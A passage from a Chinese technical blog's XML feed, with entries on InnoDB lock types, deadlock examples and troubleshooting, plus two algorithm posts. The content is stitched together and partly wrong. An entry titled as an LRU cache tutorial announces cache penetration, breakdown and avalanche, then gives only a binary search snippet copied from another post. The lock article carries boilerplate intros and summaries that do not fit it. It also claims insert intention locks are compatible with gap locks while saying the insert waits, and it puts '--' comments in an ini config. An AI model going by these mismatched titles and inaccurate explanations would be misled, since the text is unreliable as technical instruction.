title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LRU 缓存淘汰算法动手实现</title>
      <link href="//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/"/>
      <url>//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="LRU-缓存淘汰算法动手实现"><a href="#LRU-缓存淘汰算法动手实现" class="headerlink" title="LRU 缓存淘汰算法动手实现"></a>LRU 缓存淘汰算法动手实现</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL锁机制与死锁排查</title>
      <link href="//mysql-lock-deadlock-troubleshoot/"/>
      <url>//mysql-lock-deadlock-troubleshoot/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL锁机制与死锁排查"><a href="#MySQL锁机制与死锁排查" class="headerlink" title="MySQL锁机制与死锁排查"></a>MySQL锁机制与死锁排查</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、锁的基本概念"><a href="#一、锁的基本概念" class="headerlink" title="一、锁的基本概念"></a>一、锁的基本概念</h2><p>#</p><h2 id="1-1-为什么需要锁"><a href="#1-1-为什么需要锁" class="headerlink" title="1.1 为什么需要锁"></a>1.1 为什么需要锁</h2><p>数据库是多用户共享资源，锁用于：</p><ul><li>保证数据一致性</li><li>控制并发访问</li><li>实现事务隔离</li></ul><p>#</p><h2 id="1-2-锁的分类"><a href="#1-2-锁的分类" class="headerlink" title="1.2 锁的分类"></a>1.2 锁的分类</h2><p><strong>按粒度</strong>：</p><ul><li>全局锁</li><li>表级锁</li><li>页级锁</li><li>行级锁</li></ul><p><strong>按功能</strong>：</p><ul><li>共享锁（S Lock / Read Lock）</li><li>排他锁（X Lock / Write Lock）</li></ul><p><strong>按使用方式</strong>：</p><ul><li>乐观锁</li><li>悲观锁</li></ul><h2 id="二、InnoDB锁类型"><a href="#二、InnoDB锁类型" class="headerlink" title="二、InnoDB锁类型"></a>二、InnoDB锁类型</h2><p>#</p><h2 id="2-1-行锁（Record-Lock）"><a href="#2-1-行锁（Record-Lock）" class="headerlink" title="2.1 行锁（Record Lock）"></a>2.1 行锁（Record Lock）</h2><p>锁定索引记录本身：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 对id=1的记录加排他锁</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">FOR</span> <span class="keyword">UPDATE</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 对id=1的记录加共享锁</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> LOCK <span class="keyword">IN</span> SHARE MODE;</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：InnoDB行锁是通过锁定索引实现的。如果查询条件没有用到索引，会退化为表锁。</p><p>#</p><h2 id="2-2-间隙锁（Gap-Lock）"><a href="#2-2-间隙锁（Gap-Lock）" class="headerlink" title="2.2 间隙锁（Gap Lock）"></a>2.2 间隙锁（Gap Lock）</h2><p>锁定索引记录之间的”间隙”，防止幻读：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">已有记录id: 1, 5, 10</span><br><span class="line"></span><br><span class="line">间隙：(-∞, 1), (1, 5), (5, 10), (10, +∞)</span><br></pre></td></tr></table></figure><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 锁定id&gt;5的间隙</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">&gt;</span> <span class="number">5</span> <span class="keyword">FOR</span> <span class="keyword">UPDATE</span>;</span><br><span class="line"><span class="comment">-- 锁住 (5,10] 和 (10,+∞) 的间隙</span></span><br></pre></td></tr></table></figure><p><strong>间隙锁特点</strong>：</p><ul><li>只在REPEATABLE READ下生效</li><li>间隙锁之间不冲突（多个事务可同时持有同一间隙锁）</li><li>阻止在间隙中插入数据</li></ul><p>#</p><h2 id="2-3-临键锁（Next-Key-Lock）"><a href="#2-3-临键锁（Next-Key-Lock）" class="headerlink" title="2.3 临键锁（Next-Key Lock）"></a>2.3 临键锁（Next-Key Lock）</h2><p>Record Lock + Gap Lock的组合，锁定记录及其前面的间隙：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">记录10的临键锁：锁定(5, 10]区间</span><br></pre></td></tr></table></figure><p>InnoDB默认使用临键锁进行搜索和索引扫描。</p><p>#</p><h2 id="2-4-插入意向锁（Insert-Intention-Lock）"><a href="#2-4-插入意向锁（Insert-Intention-Lock）" class="headerlink" title="2.4 插入意向锁（Insert Intention Lock）"></a>2.4 插入意向锁（Insert Intention Lock）</h2><p>插入操作前设置的间隙锁，表明要在某个间隙插入数据：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">事务T1持有(5, 10)的间隙锁</span><br><span class="line">事务T2想插入id=7的记录</span><br><span class="line"></span><br><span class="line">T2获得(5, 10)的插入意向锁</span><br><span class="line">-- 插入意向锁与间隙锁兼容，T2可以等待</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-自增锁（AUTO-INC-Lock）"><a href="#2-5-自增锁（AUTO-INC-Lock）" class="headerlink" title="2.5 自增锁（AUTO-INC Lock）"></a>2.5 自增锁（AUTO-INC Lock）</h2><p>保证自增ID的连续性：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">INSERT INTO</span> <span class="keyword">user</span> (name) <span class="keyword">VALUES</span> (<span class="string">&#x27;Alice&#x27;</span>), (<span class="string">&#x27;Bob&#x27;</span>);</span><br></pre></td></tr></table></figure><p><strong>三种模式</strong>（<code>innodb_autoinc_lock_mode</code>）：</p><ul><li>0：传统模式，每次INSERT加锁</li><li>1：连续模式（默认），批量INSERT加锁，单行使用轻量锁</li><li>2：交错模式，所有使用轻量锁，ID可能不连续但并发最高</li></ul><h2 id="三、锁的兼容性"><a href="#三、锁的兼容性" class="headerlink" title="三、锁的兼容性"></a>三、锁的兼容性</h2><p>#</p><h2 id="3-1-锁兼容矩阵"><a href="#3-1-锁兼容矩阵" class="headerlink" title="3.1 锁兼容矩阵"></a>3.1 锁兼容矩阵</h2><table><thead><tr><th></th><th>X</th><th>S</th><th>IX</th><th>IS</th><th>AI</th></tr></thead><tbody><tr><td>X</td><td>✗</td><td>✗</td><td>✗</td><td>✗</td><td>✗</td></tr><tr><td>S</td><td>✗</td><td>✓</td><td>✗</td><td>✓</td><td>✗</td></tr><tr><td>IX</td><td>✗</td><td>✗</td><td>✓</td><td>✓</td><td>✓</td></tr><tr><td>IS</td><td>✗</td><td>✓</td><td>✓</td><td>✓</td><td>✓</td></tr><tr><td>AI</td><td>✗</td><td>✗</td><td>✓</td><td>✓</td><td>✗</td></tr></tbody></table><ul><li>X：排他锁</li><li>S：共享锁</li><li>IX：意向排他锁</li><li>IS：意向共享锁</li><li>AI：自增锁</li></ul><p>#</p><h2 id="3-2-意向锁（Intention-Lock）"><a href="#3-2-意向锁（Intention-Lock）" class="headerlink" title="3.2 意向锁（Intention Lock）"></a>3.2 意向锁（Intention Lock）</h2><p>意向锁是表级锁，用于协调行锁和表锁：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 事务要更新某行，先加意向排他锁</span></span><br><span class="line"><span class="keyword">UPDATE</span> <span class="keyword">user</span> <span class="keyword">SET</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="comment">-- 自动加IX锁</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 其他事务要加表锁，检查意向锁冲突</span></span><br><span class="line">LOCK TABLES <span class="keyword">user</span> WRITE;  <span class="comment">-- 需要等待IX释放</span></span><br></pre></td></tr></table></figure><p><strong>作用</strong>：避免加表锁时逐行检查行锁冲突。</p><h2 id="四、锁的查看与分析"><a href="#四、锁的查看与分析" class="headerlink" title="四、锁的查看与分析"></a>四、锁的查看与分析</h2><p>#</p><h2 id="4-1-查看当前锁"><a href="#4-1-查看当前锁" class="headerlink" title="4.1 查看当前锁"></a>4.1 查看当前锁</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- MySQL 8.0</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    ENGINE_TRANSACTION_ID,</span><br><span class="line">    OBJECT_NAME,</span><br><span class="line">    OBJECT_SCHEMA,</span><br><span class="line">    LOCK_TYPE,</span><br><span class="line">    LOCK_MODE,</span><br><span class="line">    LOCK_STATUS,</span><br><span class="line">    LOCK_DATA</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.data_locks;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看锁等待</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    REQUESTING_ENGINE_TRANSACTION_ID <span class="keyword">AS</span> waiting_trx,</span><br><span class="line">    BLOCKING_ENGINE_TRANSACTION_ID <span class="keyword">AS</span> blocking_trx,</span><br><span class="line">    LOCK_TYPE,</span><br><span class="line">    LOCK_MODE</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.data_lock_waits;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-查看事务和锁（传统方式）"><a href="#4-2-查看事务和锁（传统方式）" class="headerlink" title="4.2 查看事务和锁（传统方式）"></a>4.2 查看事务和锁（传统方式）</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看InnoDB状态（包含最近死锁信息）</span></span><br><span class="line"><span class="keyword">SHOW</span> ENGINE INNODB STATUS;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看事务</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> information_schema.innodb_trx;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看锁</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> information_schema.innodb_locks;      <span class="comment">-- MySQL 5.7</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> performance_schema.data_locks;        <span class="comment">-- MySQL 8.0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看锁等待</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> information_schema.innodb_lock_waits; <span class="comment">-- MySQL 5.7</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> performance_schema.data_lock_waits;   <span class="comment">-- MySQL 8.0</span></span><br></pre></td></tr></table></figure><h2 id="五、死锁"><a href="#五、死锁" class="headerlink" title="五、死锁"></a>五、死锁</h2><p>#</p><h2 id="5-1-什么是死锁"><a href="#5-1-什么是死锁" class="headerlink" title="5.1 什么是死锁"></a>5.1 什么是死锁</h2><p>两个或多个事务互相等待对方释放锁，形成循环等待。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">事务T1: 持有A的锁，请求B的锁</span><br><span class="line">事务T2: 持有B的锁，请求A的锁</span><br><span class="line"></span><br><span class="line">T1等待T2释放B</span><br><span class="line">T2等待T1释放A</span><br><span class="line"></span><br><span class="line">→ 死锁！</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-死锁示例"><a href="#5-2-死锁示例" class="headerlink" title="5.2 死锁示例"></a>5.2 死锁示例</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 表: account(id, balance)</span></span><br><span class="line"><span class="comment">-- 数据: (1, 1000), (2, 2000)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务T1</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">UPDATE</span> account <span class="keyword">SET</span> balance <span class="operator">=</span> balance <span class="operator">-</span> <span class="number">100</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;  <span class="comment">-- 锁id=1</span></span><br><span class="line"><span class="comment">-- ... 其他操作 ...</span></span><br><span class="line"><span class="keyword">UPDATE</span> account <span class="keyword">SET</span> balance <span class="operator">=</span> balance <span class="operator">+</span> <span class="number">100</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">2</span>;  <span class="comment">-- 等待id=2</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务T2（同时执行）</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">UPDATE</span> account <span class="keyword">SET</span> balance <span class="operator">=</span> balance <span class="operator">-</span> <span class="number">200</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">2</span>;  <span class="comment">-- 锁id=2</span></span><br><span class="line"><span class="comment">-- ... 其他操作 ...</span></span><br><span class="line"><span class="keyword">UPDATE</span> account <span class="keyword">SET</span> balance <span class="operator">=</span> balance <span class="operator">+</span> <span class="number">200</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;  <span class="comment">-- 等待id=1</span></span><br><span class="line"><span class="comment">-- ERROR 1213 (40001): Deadlock found</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-死锁检测"><a href="#5-3-死锁检测" class="headerlink" title="5.3 死锁检测"></a>5.3 死锁检测</h2><p>InnoDB自动检测死锁：</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="attr">innodb_deadlock_detect</span> = <span class="literal">ON</span>   -- 默认开启</span><br><span class="line"><span class="attr">innodb_lock_wait_timeout</span> = <span class="number">50</span>  -- 锁等待超时时间（秒）</span><br></pre></td></tr></table></figure><p><strong>死锁处理策略</strong>：</p><ul><li>选择undo量最小的事务回滚（代价最小）</li><li>被回滚的事务会收到ERROR 1213</li></ul><p>#</p><h2 id="5-4-查看死锁日志"><a href="#5-4-查看死锁日志" class="headerlink" title="5.4 查看死锁日志"></a>5.4 查看死锁日志</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SHOW</span> ENGINE INNODB STATUS;</span><br></pre></td></tr></table></figure><p>在LATEST DETECTED DEADLOCK部分：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">------------------------</span><br><span class="line">LATEST DETECTED DEADLOCK</span><br><span class="line">------------------------</span><br><span class="line">*** (1) TRANSACTION:</span><br><span class="line">TRANSACTION 12345, ACTIVE 10 sec starting index read</span><br><span class="line">mysql tables in use 1, locked 1</span><br><span class="line">LOCK WAIT 2 lock struct(s), heap size 1136, 1 row lock(s)</span><br><span class="line">MySQL thread id 100, OS thread handle 1234567, query id 500 localhost root updating</span><br><span class="line">UPDATE account SET balance = balance + 100 WHERE id = 2</span><br><span class="line">*** (1) WAITING FOR THIS LOCK TO BE GRANTED:</span><br><span class="line">RECORD LOCKS space id 58 page no 3 n bits 72 index PRIMARY of table `test`.`account`</span><br><span class="line">trx id 12345 lock_mode X locks rec but not gap waiting</span><br><span class="line">Record lock, heap no 2 PHYSICAL RECORD: n_fields 4; compact format; info bits 0</span><br><span class="line"></span><br><span class="line">*** (2) TRANSACTION:</span><br><span class="line">TRANSACTION 12346, ACTIVE 8 sec starting index read</span><br><span class="line">mysql tables in use 1, locked 1</span><br><span class="line">4 lock struct(s), heap size 1136, 2 row lock(s)</span><br><span class="line">MySQL thread id 101, OS thread handle 1234568, query id 501 localhost root updating</span><br><span class="line">UPDATE account SET balance = balance + 200 WHERE id = 1</span><br><span class="line">*** (2) HOLDS THE LOCK(S):</span><br><span class="line">... </span><br><span class="line">*** (2) WAITING FOR THIS LOCK TO BE GRANTED:</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">*** WE ROLL BACK TRANSACTION (2)</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-5-死锁预防"><a href="#5-5-死锁预防" class="headerlink" title="5.5 死锁预防"></a>5.5 死锁预防</h2><p><strong>1. 固定访问顺序</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 按id从小到大排序，统一访问顺序</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transfer</span><span class="params">(Long fromId, Long toId, BigDecimal amount)</span> &#123;</span><br><span class="line">    <span class="type">Long</span> <span class="variable">firstId</span> <span class="operator">=</span> Math.min(fromId, toId);</span><br><span class="line">    <span class="type">Long</span> <span class="variable">secondId</span> <span class="operator">=</span> Math.max(fromId, toId);</span><br><span class="line">    </span><br><span class="line">    <span class="type">Account</span> <span class="variable">first</span> <span class="operator">=</span> accountDao.selectForUpdate(firstId);</span><br><span class="line">    <span class="type">Account</span> <span class="variable">second</span> <span class="operator">=</span> accountDao.selectForUpdate(secondId);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 执行转账逻辑</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>2. 降低隔离级别</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- READ COMMITTED减少间隙锁使用</span></span><br><span class="line"><span class="keyword">SET</span> SESSION TRANSACTION ISOLATION LEVEL READ COMMITTED;</span><br></pre></td></tr></table></figure><p><strong>3. 减少事务持有锁的时间</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 不好的做法：事务中做RPC</span></span><br><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">badPractice</span><span class="params">()</span> &#123;</span><br><span class="line">    updateDB();      <span class="comment">// 加锁</span></span><br><span class="line">    callRemoteAPI(); <span class="comment">// 网络IO，锁长时间持有</span></span><br><span class="line">    updateDB2();     <span class="comment">// 加锁</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 好的做法：锁内只保留必要操作</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">goodPractice</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="comment">// 事务1：获取必要数据</span></span><br><span class="line">    <span class="type">Data</span> <span class="variable">data</span> <span class="operator">=</span> transactionTemplate.execute(status -&gt; &#123;</span><br><span class="line">        <span class="keyword">return</span> getData();</span><br><span class="line">    &#125;);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 外部做RPC</span></span><br><span class="line">    <span class="type">Result</span> <span class="variable">result</span> <span class="operator">=</span> callRemoteAPI(data);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 事务2：更新数据</span></span><br><span class="line">    transactionTemplate.execute(status -&gt; &#123;</span><br><span class="line">        updateData(result);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>4. 使用乐观锁</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 添加版本号字段</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> account <span class="keyword">ADD</span> <span class="keyword">COLUMN</span> version <span class="type">INT</span> <span class="keyword">DEFAULT</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 更新时检查版本号</span></span><br><span class="line"><span class="keyword">UPDATE</span> account </span><br><span class="line"><span class="keyword">SET</span> balance <span class="operator">=</span> balance <span class="operator">-</span> <span class="number">100</span>, version <span class="operator">=</span> version <span class="operator">+</span> <span class="number">1</span> </span><br><span class="line"><span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">AND</span> version <span class="operator">=</span> <span class="number">5</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 如果影响行数为0，说明数据被修改，需要重试</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-6-死锁排查流程"><a href="#5-6-死锁排查流程" class="headerlink" title="5.6 死锁排查流程"></a>5.6 死锁排查流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">发现死锁错误</span><br><span class="line">    │</span><br><span class="line">    ├── 查看死锁日志</span><br><span class="line">    │       └── SHOW ENGINE INNODB STATUS</span><br><span class="line">    │</span><br><span class="line">    ├── 分析死锁原因</span><br><span class="line">    │       ├── 事务访问顺序不一致？→ 统一访问顺序</span><br><span class="line">    │       ├── 间隙锁冲突？→ 考虑降低隔离级别</span><br><span class="line">    │       ├── 事务时间过长？→ 缩短事务</span><br><span class="line">    │       └── 批量操作？→ 分批处理</span><br><span class="line">    │</span><br><span class="line">    └── 验证修复效果</span><br><span class="line">            └── 持续监控错误日志</span><br></pre></td></tr></table></figure><h2 id="六、锁优化建议"><a href="#六、锁优化建议" class="headerlink" title="六、锁优化建议"></a>六、锁优化建议</h2><p>#</p><h2 id="6-1-减少锁竞争"><a href="#6-1-减少锁竞争" class="headerlink" title="6.1 减少锁竞争"></a>6.1 减少锁竞争</h2><ol><li><strong>使用合适的索引</strong>：无索引的WHERE条件会锁全表</li><li><strong>控制事务大小</strong>：大批量操作分批执行</li><li><strong>避免长事务</strong>：及时提交或回滚</li><li><strong>使用READ COMMITTED</strong>：减少间隙锁使用</li></ol><p>#</p><h2 id="6-2-锁粒度选择"><a href="#6-2-锁粒度选择" class="headerlink" title="6.2 锁粒度选择"></a>6.2 锁粒度选择</h2><table><thead><tr><th>场景</th><th>建议</th></tr></thead><tbody><tr><td>读多写少</td><td>乐观锁（版本号）</td></tr><tr><td>写多读少</td><td>悲观锁（FOR UPDATE）</td></tr><tr><td>竞争不激烈</td><td>普通事务</td></tr><tr><td>竞争激烈</td><td>考虑队列串行化</td></tr></tbody></table><p>#</p><h2 id="6-3-监控指标"><a href="#6-3-监控指标" class="headerlink" title="6.3 监控指标"></a>6.3 监控指标</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 锁等待次数</span></span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Table_locks_waited&#x27;</span>;</span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_row_lock_waits&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 平均锁等待时间</span></span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_row_lock_time_avg&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 死锁次数</span></span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_deadlocks&#x27;</span>;</span><br></pre></td></tr></table></figure><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><table><thead><tr><th>锁类型</th><th>锁定范围</th><th>用途</th></tr></thead><tbody><tr><td>Record Lock</td><td>索引记录</td><td>行级读写控制</td></tr><tr><td>Gap Lock</td><td>索引间隙</td><td>防止幻读</td></tr><tr><td>Next-Key Lock</td><td>记录+间隙</td><td>默认行锁</td></tr><tr><td>Insert Intention</td><td>插入间隙</td><td>插入并发控制</td></tr><tr><td>Intention Lock</td><td>表级</td><td>协调行锁和表锁</td></tr></tbody></table><table><thead><tr><th>问题</th><th>解决方案</th></tr></thead><tbody><tr><td>死锁</td><td>固定访问顺序、缩短事务、乐观锁</td></tr><tr><td>锁等待超时</td><td>优化SQL、添加索引、分批处理</td></tr><tr><td>锁升级</td><td>确保使用索引、避免大事务</td></tr></tbody></table><p>理解锁机制的核心要点：</p><ol><li>行锁基于索引实现，无索引则锁表</li><li>RR隔离级别使用间隙锁防止幻读</li><li>死锁通过固定访问顺序和缩短事务预防</li><li>监控锁等待和死锁指标，及时发现和解决问题</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>二分查找为什么容易写错</title>
      <link href="//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/"/>
      <url>//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/</url>
      
        <content type="html"><![CDATA[<h1 id="二分查找为什么容易写错"><a href="#二分查找为什么容易写错" class="headerlink" title="二分查找为什么容易写错"></a>二分查找为什么容易写错</h1><p>二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL事务ACID与隔离级别</title>
      <link href="//mysql-transaction-acid-isolation/"/>
      <url>//mysql-transaction-acid-isolation/</url>
      
